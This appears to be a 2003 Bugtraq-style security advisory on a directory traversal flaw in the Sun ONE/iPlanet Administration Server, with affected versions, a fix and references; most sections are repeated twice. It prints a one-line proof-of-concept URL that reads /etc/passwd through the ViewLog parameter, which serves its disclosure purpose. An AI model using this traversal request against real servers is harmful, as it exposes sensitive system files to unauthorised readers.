Sun One/IPlanet Administration Server Directory Traversal Vulnerability
BID:8367
Info
Sun One/IPlanet Administration Server Directory Traversal Vulnerability
| Bugtraq ID: | 8367 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 08 2003 12:00AM |
| Updated: | Aug 08 2003 12:00AM |
| Credit: | Discovery credited to Jim Hardisty. |
| Vulnerable: |
Sun ONE Directory Server 5.1 SP2 Sun ONE Directory Server 5.1 SP1 Sun ONE Directory Server 5.1 Sun ONE Directory Server 5.0 SP2 Sun ONE Directory Server 5.0 SP1 Sun ONE Directory Server 5.0 Sun Directory Server 5.1 SP2 Sun Directory Server 5.1 SP1 Sun Directory Server 5.1 Sun Directory Server 5.0 |
| Not Vulnerable: |
Sun ONE Directory Server 5.2 |
Discussion
Sun One/IPlanet Administration Server Directory Traversal Vulnerability
A problem in the checking of input by the Sun ONE Administration Server may lead to remote users escaping into restricted directories. This may allow an attacker to gain access to information that is sensitive in nature.
A problem in the checking of input by the Sun ONE Administration Server may lead to remote users escaping into restricted directories. This may allow an attacker to gain access to information that is sensitive in nature.
Exploit / POC
Sun One/IPlanet Administration Server Directory Traversal Vulnerability
No exploit is required for this vulnerability.
The following proof-of-concept has been made available:
http://www.example.com:5000/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv
No exploit is required for this vulnerability.
The following proof-of-concept has been made available:
http://www.example.com:5000/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv
Solution / Fix
Sun One/IPlanet Administration Server Directory Traversal Vulnerability
Solution:
It has been reported that this issue is resolved in Sun ONE Directory Server 5.2, and iPlanet Directory Server 5.1 SP2 Hotfix 2. This has not been confirmed by Symantec.
-------
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
It has been reported that this issue is resolved in Sun ONE Directory Server 5.2, and iPlanet Directory Server 5.1 SP2 Hotfix 2. This has not been confirmed by Symantec.
-------
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Sun One/IPlanet Administration Server Directory Traversal Vulnerability
References:
References:
- Sunsolve Online(tm) (Sun Microsystems)
- Directory Traversal in Sun iPlanet Administration Server 5.1 ("Brewis, Mark"